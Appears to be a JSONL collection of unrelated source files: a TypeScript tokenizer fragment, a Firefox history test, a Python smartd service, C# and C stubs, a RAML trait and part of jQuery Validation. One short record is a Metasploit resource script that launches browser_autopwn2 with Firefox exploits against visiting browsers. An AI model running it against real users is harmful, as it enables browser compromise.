'export', 'extends', 'finally', 'for', 'from', 'function',\n 'get', 'if', 'implements', 'import', 'in', 'infer', 'instanceof', 'interface',\n 'is', 'keyof', 'let', 'module', 'namespace', 'never', 'new', 'package',\n 'private', 'protected', 'public', 'readonly', 'require', 'global', 'return',\n 'set', 'static', 'super', 'switch', 'symbol', 'throw', 'try',\n 'type', 'typeof', 'unique', 'var', 'void', 'while', 'with', 'yield', 'async',\n 'await', 'of'\n ],\n\n constants: [\n 'false', 'true', 'undefined', 'NaN', 'null', 'Infinity'\n ],\n\n pointsOfInterest: ['ct', 'this', 'room'],\n\n typeKeywords: [\n 'any', 'boolean', 'number', 'object', 'string', 'undefined'\n ],\n\n operators: [\n '<=', '>=', '==', '!=', '===', '!==', '=>', '+', '-', '**',\n '*', '/', '%', '++', '--', '<<', '>', '>>>', '&',\n '|', '^', '!', '~', '&&', '||', '??', '?', ':', '=', '+=', '-=',\n '*=', '**=', '/=', '%=', '<<=', '>>=', '>>>=', '&=', '|=',\n '^=', '@'\n ],\n\n // we include these common regular expressions\n symbols: /[=>](?!@symbols)/, '@brackets'],\n [/!(?=([^=]|$))/, 'delimiter'],\n [/@symbols/, {\n cases: {\n '@operators': 'delimiter',\n '@default': ''\n }\n }],\n\n // numbers\n [/(@digits)[eE]([\\-+]?(@digits))?/, 'number.float'],\n [/(@digits)\\.(@digits)([eE][\\-+]?(@digits))?/, 'number.float'],\n [/0[xX](@hexdigits)n?/, 'number.hex'],\n [/0[oO]?(@octaldigits)n?/, 'number.octal'],\n [/0[bB](@binarydigits)n?/, 'number.binary'],\n [/(@digits)n?/, 'number'],\n\n // delimiter: after number because of .\\d floats\n [/[;,.]/, 'delimiter'],\n\n // strings\n [/\"([^\"\\\\]|\\\\.)*$/, 'string.invalid'], // non-teminated string\n [/'([^'\\\\]|\\\\.)*$/, 'string.invalid'], // non-teminated string\n [/\"/, 'string', '@string_double'],\n [/'/, 'string', '@string_single'],\n [/`/, 'string', '@string_backtick']\n ],\n\n whitespace: [\n [/[ \\t\\r\\n]+/, ''],\n [/\\/\\*\\*(?!\\/)/, 'comment.doc', '@jsdoc'],\n [/\\/\\*/, 'comment', '@comment'],\n [/\\/\\/.*$/, 'comment']\n ],\n\n comment: [\n [/[^\\/*]+/, 'comment'],\n [/\\*\\//, 'comment', '@pop'],\n [/[\\/*]/, 'comment']\n ],\n\n jsdoc: [\n [/[^\\/*]+/, 'comment.doc'],\n [/\\*\\//, 'comment.doc', '@pop'],\n [/[\\/*]/, 'comment.doc']\n ],\n\n // We match regular expression quite precisely\n regexp: [\n [/(\\{)(\\d+(?:,\\d*)?)(\\})/, ['regexp.escape.control', 'regexp.escape.control', 'regexp.escape.control']],\n [/(\\[)(\\^?)(?=(?:[^\\]\\\\\\/]|\\\\.)+)/, ['regexp.escape.control', {\n token: 'regexp.escape.control', next: '@regexrange'\n }]],\n [/(\\()(\\?:|\\?=|\\?!)/, ['regexp.escape.control', 'regexp.escape.control']],\n [/[()]/, 'regexp.escape.control'],\n [/@regexpctl/, 'regexp.escape.control'],\n [/[^\\\\\\/]/, 'regexp'],\n [/@regexpesc/, 'regexp.escape'],\n [/\\\\\\./, 'regexp.invalid'],\n [/(\\/)([gimsuy]*)/, [{\n token: 'regexp', bracket: '@close', next: '@pop'\n }, 'keyword.other']]\n ],\n\n regexrange: [\n [/-/, 'regexp.escape.control'],\n [/\\^/, 'regexp.invalid'],\n [/@regexpesc/, 'regexp.escape'],\n [/[^\\]]/, 'regexp'],\n [/\\]/, {\n token: 'regexp.escape.control', next: '@pop', bracket: '@close'\n }]\n ],\n\n string_double: [\n [/[^\\\\\"]+/, 'string'],\n [/@escapes/, 'string.escape'],\n [/\\\\./, 'string.escape.invalid'],\n [/\"/, 'string', '@pop']\n ],\n\n string_single: [\n [/[^\\\\']+/, 'string'],\n [/@escapes/, 'string.escape'],\n [/\\\\./, 'string.escape.invalid'],\n [/'/, 'string', '@pop']\n ],\n\n string_backtick: [\n [/\\$\\{/, {\n token: 'delimiter.bracket', next: '@bracketCounting'\n }],\n [/[^\\\\`$]+/, 'string'],\n [/@escapes/, 'string.escape'],\n [/\\\\./, 'string.escape.invalid'],\n [/`/, 'string', '@pop']\n ],\n\n bracketCounting: [\n [/\\{/, 'delimiter.bracket', '@bracketCounting'],\n [/\\}/, 'delimiter.bracket', '@pop'],\n {\n include: 'common'\n }\n ]\n }\n};\n"} +{"text": "Conversion\nLines\nLoads\nSensors\nSources\nValidation\nInterfaces\n"} +{"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n// Array of visits we will add to the database, will be populated later\n// in the test.\nvar visits = [];\n\n/**\n * Takes a sequence of query options, and compare query results obtained through\n * them with a custom filtered array of visits, based on the values we are\n * expecting from the query.\n *\n * @param aSequence\n * an array that contains query options in the form:\n * [includeHidden, maxResults, sortingMode]\n */\nfunction check_results_callback(aSequence) {\n // Sanity check: we should receive 3 parameters.\n Assert.equal(aSequence.length, 3);\n let includeHidden = aSequence[0];\n let maxResults = aSequence[1];\n let sortingMode = aSequence[2];\n print(\n \"\\nTESTING: includeHidden(\" +\n includeHidden +\n \"),\" +\n \" maxResults(\" +\n maxResults +\n \"),\" +\n \" sortingMode(\" +\n sortingMode +\n \").\"\n );\n\n function isHidden(aVisit) {\n return (\n aVisit.transType == Ci.nsINavHistoryService.TRANSITION_FRAMED_LINK ||\n aVisit.isRedirect\n );\n }\n\n // Build expectedData array.\n let expectedData = visits.filter(function(aVisit, aIndex, aArray) {\n // Embed visits never appear in results.\n if (aVisit.transType == Ci.nsINavHistoryService.TRANSITION_EMBED) {\n return false;\n }\n\n if (!includeHidden && isHidden(aVisit)) {\n // If the page has any non-hidden visit, then it's visible.\n if (\n !visits.filter(function(refVisit) {\n return refVisit.uri == aVisit.uri && !isHidden(refVisit);\n }).length\n ) {\n return false;\n }\n }\n\n return true;\n });\n\n // Remove duplicates, since queries are RESULTS_AS_URI (unique pages).\n let seen = [];\n expectedData = expectedData.filter(function(aData) {\n if (seen.includes(aData.uri)) {\n return false;\n }\n seen.push(aData.uri);\n return true;\n });\n\n // Sort expectedData.\n function getFirstIndexFor(aEntry) {\n for (let i = 0; i < visits.length; i++) {\n if (visits[i].uri == aEntry.uri) {\n return i;\n }\n }\n return undefined;\n }\n function comparator(a, b) {\n if (sortingMode == Ci.nsINavHistoryQueryOptions.SORT_BY_DATE_DESCENDING) {\n return b.lastVisit - a.lastVisit;\n }\n if (\n sortingMode == Ci.nsINavHistoryQueryOptions.SORT_BY_VISITCOUNT_DESCENDING\n ) {\n return b.visitCount - a.visitCount;\n }\n return getFirstIndexFor(a) - getFirstIndexFor(b);\n }\n expectedData.sort(comparator);\n\n // Crop results to maxResults if it's defined.\n if (maxResults) {\n expectedData = expectedData.slice(0, maxResults);\n }\n\n // Create a new query with required options.\n let query = PlacesUtils.history.getNewQuery();\n let options = PlacesUtils.history.getNewQueryOptions();\n options.includeHidden = includeHidden;\n options.sortingMode = sortingMode;\n if (maxResults) {\n options.maxResults = maxResults;\n }\n\n // Compare resultset with expectedData.\n let result = PlacesUtils.history.executeQuery(query, options);\n let root = result.root;\n root.containerOpen = true;\n compareArrayToResult(expectedData, root);\n root.containerOpen = false;\n}\n\n/**\n * Enumerates all the sequences of the cartesian product of the arrays contained\n * in aSequences. Examples:\n *\n * cartProd([[1, 2, 3], [\"a\", \"b\"]], callback);\n * // callback is called 3 * 2 = 6 times with the following arrays:\n * // [1, \"a\"], [1, \"b\"], [2, \"a\"], [2, \"b\"], [3, \"a\"], [3, \"b\"]\n *\n * cartProd([[\"a\"], [1, 2, 3], [\"X\", \"Y\"]], callback);\n * // callback is called 1 * 3 * 2 = 6 times with the following arrays:\n * // [\"a\", 1, \"X\"], [\"a\", 1, \"Y\"], [\"a\", 2, \"X\"], [\"a\", 2, \"Y\"],\n * // [\"a\", 3, \"X\"], [\"a\", 3, \"Y\"]\n *\n * cartProd([[1], [2], [3], [4]], callback);\n * // callback is called 1 * 1 * 1 * 1 = 1 time with the following array:\n * // [1, 2, 3, 4]\n *\n * cartProd([], callback);\n * // callback is 0 times\n *\n * cartProd([[1, 2, 3, 4]], callback);\n * // callback is called 4 times with the following arrays:\n * // [1], [2], [3], [4]\n *\n * @param aSequences\n * an array that contains an arbitrary number of arrays\n * @param aCallback\n * a function that is passed each sequence of the product as it's\n * computed\n * @return the total number of sequences in the product\n */\nfunction cartProd(aSequences, aCallback) {\n if (aSequences.length === 0) {\n return 0;\n }\n\n // For each sequence in aSequences, we maintain a pointer (an array index,\n // really) to the element we're currently enumerating in that sequence\n let seqEltPtrs = aSequences.map(i => 0);\n\n let numProds = 0;\n let done = false;\n while (!done) {\n numProds++;\n\n // prod = sequence in product we're currently enumerating\n let prod = [];\n for (let i = 0; i < aSequences.length; i++) {\n prod.push(aSequences[i][seqEltPtrs[i]]);\n }\n aCallback(prod);\n\n // The next sequence in the product differs from the current one by just a\n // single element. Determine which element that is. We advance the\n // \"rightmost\" element pointer to the \"right\" by one. If we move past the\n // end of that pointer's sequence, reset the pointer to the first element\n // in its sequence and then try the sequence to the \"left\", and so on.\n\n // seqPtr = index of rightmost input sequence whose element pointer is not\n // past the end of the sequence\n let seqPtr = aSequences.length - 1;\n while (!done) {\n // Advance the rightmost element pointer.\n seqEltPtrs[seqPtr]++;\n\n // The rightmost element pointer is past the end of its sequence.\n if (seqEltPtrs[seqPtr] >= aSequences[seqPtr].length) {\n seqEltPtrs[seqPtr] = 0;\n seqPtr--;\n\n // All element pointers are past the ends of their sequences.\n if (seqPtr < 0) {\n done = true;\n }\n } else {\n break;\n }\n }\n }\n return numProds;\n}\n\n/**\n * Populate the visits array and add visits to the database.\n * We will generate visit-chains like:\n * visit -> redirect_temp -> redirect_perm\n */\nadd_task(async function test_add_visits_to_database() {\n await PlacesUtils.bookmarks.eraseEverything();\n\n // We don't really bother on this, but we need a time to add visits.\n let timeInMicroseconds = Date.now() * 1000;\n let visitCount = 1;\n\n // Array of all possible transition types we could be redirected from.\n let t = [\n Ci.nsINavHistoryService.TRANSITION_LINK,\n Ci.nsINavHistoryService.TRANSITION_TYPED,\n Ci.nsINavHistoryService.TRANSITION_BOOKMARK,\n // Embed visits are not added to the database and we don't want redirects\n // to them, thus just avoid addition.\n // Ci.nsINavHistoryService.TRANSITION_EMBED,\n Ci.nsINavHistoryService.TRANSITION_FRAMED_LINK,\n // Would make hard sorting by visit date because last_visit_date is actually\n // calculated excluding download transitions, but the query includes\n // downloads.\n // TODO: Bug 488966 could fix this behavior.\n // Ci.nsINavHistoryService.TRANSITION_DOWNLOAD,\n ];\n\n function newTimeInMicroseconds() {\n timeInMicroseconds = timeInMicroseconds - 1000;\n return timeInMicroseconds;\n }\n\n // we add a visit for each of the above transition types.\n t.forEach(transition =>\n visits.push({\n isVisit: true,\n transType: transition,\n uri: \"http://\" + transition + \".example.com/\",\n title: transition + \"-example\",\n isRedirect: true,\n lastVisit: newTimeInMicroseconds(),\n visitCount:\n transition == Ci.nsINavHistoryService.TRANSITION_EMBED ||\n transition == Ci.nsINavHistoryService.TRANSITION_FRAMED_LINK\n ? 0\n : visitCount++,\n isInQuery: true,\n })\n );\n\n // Add a REDIRECT_TEMPORARY layer of visits for each of the above visits.\n t.forEach(transition =>\n visits.push({\n isVisit: true,\n transType: Ci.nsINavHistoryService.TRANSITION_REDIRECT_TEMPORARY,\n uri: \"http://\" + transition + \".redirect.temp.example.com/\",\n title: transition + \"-redirect-temp-example\",\n lastVisit: newTimeInMicroseconds(),\n isRedirect: true,\n referrer: \"http://\" + transition + \".example.com/\",\n visitCount: visitCount++,\n isInQuery: true,\n })\n );\n\n // Add a REDIRECT_PERMANENT layer of visits for each of the above redirects.\n t.forEach(transition =>\n visits.push({\n isVisit: true,\n transType: Ci.nsINavHistoryService.TRANSITION_REDIRECT_PERMANENT,\n uri: \"http://\" + transition + \".redirect.perm.example.com/\",\n title: transition + \"-redirect-perm-example\",\n lastVisit: newTimeInMicroseconds(),\n isRedirect: true,\n referrer: \"http://\" + transition + \".redirect.temp.example.com/\",\n visitCount: visitCount++,\n isInQuery: true,\n })\n );\n\n // Add a REDIRECT_PERMANENT layer of visits that loop to the first visit.\n // These entries should not change visitCount or lastVisit, otherwise\n // guessing an order would be a nightmare.\n function getLastValue(aURI, aProperty) {\n for (let i = 0; i < visits.length; i++) {\n if (visits[i].uri == aURI) {\n return visits[i][aProperty];\n }\n }\n do_throw(\"Unknown uri.\");\n return null;\n }\n t.forEach(transition =>\n visits.push({\n isVisit: true,\n transType: Ci.nsINavHistoryService.TRANSITION_REDIRECT_PERMANENT,\n uri: \"http://\" + transition + \".example.com/\",\n title: getLastValue(\"http://\" + transition + \".example.com/\", \"title\"),\n lastVisit: getLastValue(\n \"http://\" + transition + \".example.com/\",\n \"lastVisit\"\n ),\n isRedirect: true,\n referrer: \"http://\" + transition + \".redirect.perm.example.com/\",\n visitCount: getLastValue(\n \"http://\" + transition + \".example.com/\",\n \"visitCount\"\n ),\n isInQuery: true,\n })\n );\n\n // Add an unvisited bookmark in the database, it should never appear.\n visits.push({\n isBookmark: true,\n uri: \"http://unvisited.bookmark.com/\",\n parentGuid: PlacesUtils.bookmarks.menuGuid,\n index: PlacesUtils.bookmarks.DEFAULT_INDEX,\n title: \"Unvisited Bookmark\",\n isInQuery: false,\n });\n\n // Put visits in the database.\n await task_populateDB(visits);\n});\n\nadd_task(async function test_redirects() {\n // Frecency and hidden are updated asynchronously, wait for them.\n await PlacesTestUtils.promiseAsyncUpdates();\n\n // This array will be used by cartProd to generate a matrix of all possible\n // combinations.\n let includeHidden_options = [true, false];\n let maxResults_options = [5, 10, 20, null];\n // These sortingMode are choosen to toggle using special queries for history\n // menu.\n let sorting_options = [\n Ci.nsINavHistoryQueryOptions.SORT_BY_NONE,\n Ci.nsINavHistoryQueryOptions.SORT_BY_VISITCOUNT_DESCENDING,\n Ci.nsINavHistoryQueryOptions.SORT_BY_DATE_DESCENDING,\n ];\n // Will execute check_results_callback() for each generated combination.\n cartProd(\n [includeHidden_options, maxResults_options, sorting_options],\n check_results_callback\n );\n\n await PlacesUtils.bookmarks.eraseEverything();\n\n await PlacesUtils.history.clear();\n});\n"} +{"text": "import tests.periodicities.period_test as per\n\nper.buildModel((360 , 'D' , 1600));\n\n"} +{"text": "import logging\nimport os\nimport signal\nimport time\n\nimport psutil\n\nfrom .base import SimpleService, ServiceState\n\nlogger = logging.getLogger(__name__)\n\n\nclass SMARTDService(SimpleService):\n name = \"smartd\"\n reloadable = True\n\n etc = [\"rc\", \"smartd\"]\n\n freebsd_rc = \"smartd-daemon\"\n freebsd_pidfile = \"/var/run/smartd-daemon.pid\"\n freebsd_procname = \"smartd\"\n\n systemd_unit = \"smartmontools\"\n\n async def _get_state_freebsd(self):\n result = await super()._get_state_freebsd()\n if result.running:\n return result\n\n if await self.middleware.run_in_thread(self._freebsd_initializing_smartd_pid) is not None:\n return ServiceState(True, [])\n\n return ServiceState(False, [])\n\n def _freebsd_initializing_smartd_pid(self):\n \"\"\"\n smartd initialization can take a long time if lots of disks are present\n It only writes pidfile at the end of the initialization but forks immediately\n This method returns PID of smartd process that is still initializing and has not written pidfile yet\n \"\"\"\n if os.path.exists(self.freebsd_pidfile):\n # Already started, no need for special handling\n return\n\n for process in psutil.process_iter(attrs=[\"cmdline\", \"create_time\"]):\n if process.info[\"cmdline\"][:1] == [\"/usr/local/sbin/smartd\"]:\n break\n else:\n # No smartd process present\n return\n\n lifetime = time.time() - process.info[\"create_time\"]\n if lifetime < 300:\n # Looks like just the process we need\n return process.pid\n\n logger.warning(\"Got an orphan smartd process: pid=%r, lifetime=%r\", process.pid, lifetime)\n\n async def _stop_freebsd(self):\n pid = await self.middleware.run_in_thread(self._freebsd_initializing_smartd_pid)\n if pid is None:\n return await super()._stop_freebsd()\n\n os.kill(pid, signal.SIGKILL)\n\n async def _reload_freebsd(self):\n pid = await self.middleware.run_in_thread(self._freebsd_initializing_smartd_pid)\n if pid is None:\n return await super()._reload_freebsd()\n\n os.kill(pid, signal.SIGKILL)\n\n await self._start_freebsd()\n"} +{"text": "// CodeContracts\n// \n// Copyright (c) Microsoft Corporation\n// \n// All rights reserved. \n// \n// MIT License\n// \n// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n// \n// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n// \n// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n// File System.ServiceModel.Transactions.OleTxTransactionFormatter.ISaneDtcTransaction.cs\n// Automatically generated contract file.\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Text;\nusing System.Diagnostics.Contracts;\nusing System;\n\n// Disable the \"this variable is not used\" warning as every field would imply it.\n#pragma warning disable 0414\n// Disable the \"this variable is never assigned to\".\n#pragma warning disable 0067\n// Disable the \"this event is never assigned to\".\n#pragma warning disable 0649\n// Disable the \"this variable is never used\".\n#pragma warning disable 0169\n// Disable the \"new keyword not required\" warning.\n#pragma warning disable 0109\n// Disable the \"extern without DllImport\" warning.\n#pragma warning disable 0626\n// Disable the \"could hide other member\" warning, can happen on certain properties.\n#pragma warning disable 0108\n\n\nnamespace System.ServiceModel.Transactions\n{\n}\n"} +{"text": "\nprint_status(\"Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.\")\nprint_status(\"Older Firefox exploits don't use BES, therefore will not be loaded.\")\nrun_single(\"use auxiliary/server/browser_autopwn2\")\nrun_single(\"set INCLUDE_PATTERN (mozilla_firefox|firefox)_\")\nrun_single(\"set ShowExploitList true\")\nrun_single(\"run\")\n\n"} +{"text": "/* SPDX-License-Identifier: GPL-2.0 OR MIT */\n/* Copyright 2017-2019 Qiang Yu */\n\n#ifndef __LIMA_PP_H__\n#define __LIMA_PP_H__\n\nstruct lima_ip;\nstruct lima_device;\n\nint lima_pp_init(struct lima_ip *ip);\nvoid lima_pp_fini(struct lima_ip *ip);\n\nint lima_pp_bcast_init(struct lima_ip *ip);\nvoid lima_pp_bcast_fini(struct lima_ip *ip);\n\nint lima_pp_pipe_init(struct lima_device *dev);\nvoid lima_pp_pipe_fini(struct lima_device *dev);\n\n#endif\n"} +{"text": "using RepoDb.Interfaces;\nusing System;\nusing System.Data;\n\nnamespace RepoDb.Requests\n{\n /// \n /// A class that holds the value of the maximum-all operation arguments.\n /// \n internal class MaxAllRequest : BaseRequest, IEquatable\n {\n private int? m_hashCode = null;\n\n /// \n /// Creates a new instance of object.\n /// \n /// The target type.\n /// The connection object.\n /// The transaction object.\n /// The field object.\n /// The hints for the table.\n /// The statement builder.\n public MaxAllRequest(Type type,\n IDbConnection connection,\n IDbTransaction transaction,\n Field field = null,\n string hints = null,\n IStatementBuilder statementBuilder = null)\n : this(ClassMappedNameCache.Get(type),\n connection,\n transaction,\n field,\n hints,\n statementBuilder)\n {\n Type = type;\n }\n\n /// \n /// Creates a new instance of object.\n /// \n /// The name of the request.\n /// The connection object.\n /// The transaction object.\n /// The field object.\n /// The hints for the table.\n /// The statement builder.\n public MaxAllRequest(string name,\n IDbConnection connection,\n IDbTransaction transaction,\n Field field = null,\n string hints = null,\n IStatementBuilder statementBuilder = null)\n : base(name,\n connection,\n transaction,\n statementBuilder)\n {\n Field = field;\n Hints = hints;\n }\n\n /// \n /// Gets the field to be maximumd.\n /// \n public Field Field { get; }\n\n /// \n /// Gets the hints for the table.\n /// \n public string Hints { get; }\n\n #region Equality and comparers\n\n /// \n /// Returns the hashcode for this .\n /// \n /// The hashcode value.\n public override int GetHashCode()\n {\n // Make sure to return if it is already provided\n if (m_hashCode != null)\n {\n return m_hashCode.Value;\n }\n\n // Get first the entity hash code\n var hashCode = string.Concat(Name, \".MaxAll\").GetHashCode();\n\n // Add the field\n if (Field != null)\n {\n hashCode += Field.GetHashCode();\n }\n\n // Add the hints\n if (!string.IsNullOrEmpty(Hints))\n {\n hashCode += Hints.GetHashCode();\n }\n\n // Set and return the hashcode\n return (m_hashCode = hashCode).Value;\n }\n\n /// \n /// Compares the object equality against the given target object.\n /// \n /// The object to be compared to the current object.\n /// True if the instances are equals.\n public override bool Equals(object obj)\n {\n return obj?.GetHashCode() == GetHashCode();\n }\n\n /// \n /// Compares the object equality against the given target object.\n /// \n /// The object to be compared to the current object.\n /// True if the instances are equal.\n public bool Equals(MaxAllRequest other)\n {\n return other?.GetHashCode() == GetHashCode();\n }\n\n /// \n /// Compares the equality of the two objects.\n /// \n /// The first object.\n /// The second object.\n /// True if the instances are equal.\n public static bool operator ==(MaxAllRequest objA, MaxAllRequest objB)\n {\n if (ReferenceEquals(null, objA))\n {\n return ReferenceEquals(null, objB);\n }\n return objB?.GetHashCode() == objA.GetHashCode();\n }\n\n /// \n /// Compares the inequality of the two objects.\n /// \n /// The first object.\n /// The second object.\n /// True if the instances are not equal.\n public static bool operator !=(MaxAllRequest objA, MaxAllRequest objB)\n {\n return (objA == objB) == false;\n }\n\n #endregion\n }\n}\n"} +{"text": "#%RAML 1.0 Trait\n\nusage: Apply this to any method that needs to be secured\ndescription: Some requests require authentication.\nheaders:\n access_token:\n description: Access Token\n example: 5757gh76\n required: true\n"} +{"text": "/*!\n * jQuery Validation Plugin v1.14.0\n *\n * http://jqueryvalidation.org/\n *\n * Copyright (c) 2015 Jörn Zaefferer\n * Released under the MIT license\n */\n(function( factory ) {\n\tif ( typeof define === \"function\" && define.amd ) {\n\t\tdefine( [\"jquery\"], factory );\n\t} else {\n\t\tfactory( jQuery );\n\t}\n}(function( $ ) {\n\n$.extend($.fn, {\n\t// http://jqueryvalidation.org/validate/\n\tvalidate: function( options ) {\n\n\t\t// if nothing is selected, return nothing; can't chain anyway\n\t\tif ( !this.length ) {\n\t\t\tif ( options && options.debug && window.console ) {\n\t\t\t\tconsole.warn( \"Nothing selected, can't validate, returning nothing.\" );\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\t// check if a validator for this form was already created\n\t\tvar validator = $.data( this[ 0 ], \"validator\" );\n\t\tif ( validator ) {\n\t\t\treturn validator;\n\t\t}\n\n\t\t// Add novalidate tag if HTML5.\n\t\tthis.attr( \"novalidate\", \"novalidate\" );\n\n\t\tvalidator = new $.validator( options, this[ 0 ] );\n\t\t$.data( this[ 0 ], \"validator\", validator );\n\n\t\tif ( validator.settings.onsubmit ) {\n\n\t\t\tthis.on( \"click.validate\", \":submit\", function( event ) {\n\t\t\t\tif ( validator.settings.submitHandler ) {\n\t\t\t\t\tvalidator.submitButton = event.target;\n\t\t\t\t}\n\n\t\t\t\t// allow suppressing validation by adding a cancel class to the submit button\n\t\t\t\tif ( $( this ).hasClass( \"cancel\" ) ) {\n\t\t\t\t\tvalidator.cancelSubmit = true;\n\t\t\t\t}\n\n\t\t\t\t// allow suppressing validation by adding the html5 formnovalidate attribute to the submit button\n\t\t\t\tif ( $( this ).attr( \"formnovalidate\" ) !== undefined ) {\n\t\t\t\t\tvalidator.cancelSubmit = true;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// validate the form on submit\n\t\t\tthis.on( \"submit.validate\", function( event ) {\n\t\t\t\tif ( validator.settings.debug ) {\n\t\t\t\t\t// prevent form submit to be able to see console output\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t\tfunction handle() {\n\t\t\t\t\tvar hidden, result;\n\t\t\t\t\tif ( validator.settings.submitHandler ) {\n\t\t\t\t\t\tif ( validator.submitButton ) {\n\t\t\t\t\t\t\t// insert a hidden input as a replacement for the missing submit button\n\t\t\t\t\t\t\thidden = $( \"\" )\n\t\t\t\t\t\t\t\t.attr( \"name\", validator.submitButton.name )\n\t\t\t\t\t\t\t\t.val( $( validator.submitButton ).val() )\n\t\t\t\t\t\t\t\t.appendTo( validator.currentForm );\n\t\t\t\t\t\t}\n\t\t\t\t\t\tresult = validator.settings.submitHandler.call( validator, validator.currentForm, event );\n\t\t\t\t\t\tif ( validator.submitButton ) {\n\t\t\t\t\t\t\t// and clean up afterwards; thanks to no-block-scope, hidden can be referenced\n\t\t\t\t\t\t\thidden.remove();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( result !== undefined ) {\n\t\t\t\t\t\t\treturn result;\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\t// prevent submit for invalid forms or custom submit handlers\n\t\t\t\tif ( validator.cancelSubmit ) {\n\t\t\t\t\tvalidator.cancelSubmit = false;\n\t\t\t\t\treturn handle();\n\t\t\t\t}\n\t\t\t\tif ( validator.form() ) {\n\t\t\t\t\tif ( validator.pendingRequest ) {\n\t\t\t\t\t\tvalidator.formSubmitted = true;\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\treturn handle();\n\t\t\t\t} else {\n\t\t\t\t\tvalidator.focusInvalid();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\treturn validator;\n\t},\n\t// http://jqueryvalidation.org/valid/\n\tvalid: function() {\n\t\tvar valid, validator, errorList;\n\n\t\tif ( $( this[ 0 ] ).is( \"form\" ) ) {\n\t\t\tvalid = this.validate().form();\n\t\t} else {\n\t\t\terrorList = [];\n\t\t\tvalid = true;\n\t\t\tvalidator = $( this[ 0 ].form ).validate();\n\t\t\tthis.each( function() {\n\t\t\t\tvalid = validator.element( this ) && valid;\n\t\t\t\terrorList = errorList.concat( validator.errorList );\n\t\t\t});\n\t\t\tvalidator.errorList = errorList;\n\t\t}\n\t\treturn valid;\n\t},\n\n\t// http://jqueryvalidation.org/rules/\n\trules: function( command, argument ) {\n\t\tvar element = this[ 0 ],\n\t\t\tsettings, staticRules, existingRules, data, param, filtered;\n\n\t\tif ( command ) {\n\t\t\tsettings = $.data( element.form, \"validator\" ).settings;\n\t\t\tstaticRules = settings.rules;\n\t\t\texistingRules = $.validator.staticRules( element );\n\t\t\tswitch ( command ) {\n\t\t\tcase \"add\":\n\t\t\t\t$.extend( existingRules, $.validator.normalizeRule( argument ) );\n\t\t\t\t// remove messages from rules, but allow them to be set separately\n\t\t\t\tdelete existingRules.messages;\n\t\t\t\tstaticRules[ element.name ] = existingRules;\n\t\t\t\tif ( argument.messages ) {\n\t\t\t\t\tsettings.messages[ element.name ] = $.extend( settings.messages[ element.name ], argument.messages );\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \"remove\":\n\t\t\t\tif ( !argument ) {\n\t\t\t\t\tdelete staticRules[ element.name ];\n\t\t\t\t\treturn existingRules;\n\t\t\t\t}\n\t\t\t\tfiltered = {};\n\t\t\t\t$.each( argument.split( /\\s/ ), function( index, method ) {\n\t\t\t\t\tfiltered[ method ] = existingRules[ method ];\n\t\t\t\t\tdelete existingRules[ method ];\n\t\t\t\t\tif ( method === \"required\" ) {\n\t\t\t\t\t\t$( element ).removeAttr( \"aria-required\" );\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\treturn filtered;\n\t\t\t}\n\t\t}\n\n\t\tdata = $.validator.normalizeRules(\n\t\t$.extend(\n\t\t\t{},\n\t\t\t$.validator.classRules( element ),\n\t\t\t$.validator.attributeRules( element ),\n\t\t\t$.validator.dataRules( element ),\n\t\t\t$.validator.staticRules( element )\n\t\t), element );\n\n\t\t// make sure required is at front\n\t\tif ( data.required ) {\n\t\t\tparam = data.required;\n\t\t\tdelete data.required;\n\t\t\tdata = $.extend( { required: param }, data );\n\t\t\t$( element ).attr( \"aria-required\", \"true\" );\n\t\t}\n\n\t\t// make sure remote is at back\n\t\tif ( data.remote ) {\n\t\t\tparam = data.remote;\n\t\t\tdelete data.remote;\n\t\t\tdata = $.extend( data, { remote: param });\n\t\t}\n\n\t\treturn data;\n\t}\n});\n\n// Custom selectors\n$.extend( $.expr[ \":\" ], {\n\t// http://jqueryvalidation.org/blank-selector/\n\tblank: function( a ) {\n\t\treturn !$.trim( \"\" + $( a ).val() );\n\t},\n\t// http://jqueryvalidation.org/filled-selector/\n\tfilled: function( a ) {\n\t\treturn !!$.trim( \"\" + $( a ).val() );\n\t},\n\t// http://jqueryvalidation.org/unchecked-selector/\n\tunchecked: function( a ) {\n\t\treturn !$( a ).prop( \"checked\" );\n\t}\n});\n\n// constructor for validator\n$.validator = function( options, form ) {\n\tthis.settings = $.extend( true, {}, $.validator.defaults, options );\n\tthis.currentForm = form;\n\tthis.init();\n};\n\n// http://jqueryvalidation.org/jQuery.validator.format/\n$.validator.format = function( source, params ) {\n\tif ( arguments.length === 1 ) {\n\t\treturn function() {\n\t\t\tvar args = $.makeArray( arguments );\n\t\t\targs.unshift( source );\n\t\t\treturn $.validator.format.apply( this, args );\n\t\t};\n\t}\n\tif ( arguments.length > 2 && params.constructor !== Array ) {\n\t\tparams = $.makeArray( arguments ).slice( 1 );\n\t}\n\tif ( params.constructor !== Array ) 